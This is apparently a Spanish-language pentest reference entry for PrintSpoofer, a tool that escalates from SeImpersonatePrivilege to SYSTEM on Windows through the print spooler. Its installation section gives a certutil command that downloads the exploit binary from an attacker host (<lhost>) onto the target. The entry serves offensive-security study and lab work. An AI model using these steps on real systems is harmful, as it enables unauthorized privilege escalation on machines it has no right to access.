PrintSpoofer
SeImpersonate → SYSTEM abusando del spooler de impresión.
Explota el privilegio SeImpersonatePrivilege (habitual en cuentas de servicio) para saltar a SYSTEM abusando del servicio de spooler de impresión por un named pipe. Es la vía moderna y fiable de la familia Potato en Windows 10/Server 2016-2019.
Familia Escalada de privilegios
Flags -i -c
Conceptos SeImpersonate and Potato attacks, PrintSpoofer
Cheatsheet Privilegios de token → SYSTEM
Instalación
# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80 # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/PrintSpoofer64.exe PrintSpoofer64.exe # en el objetivo (o SMB / 'upload' de evil-winrm)Comandos útiles
Aparece en
Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.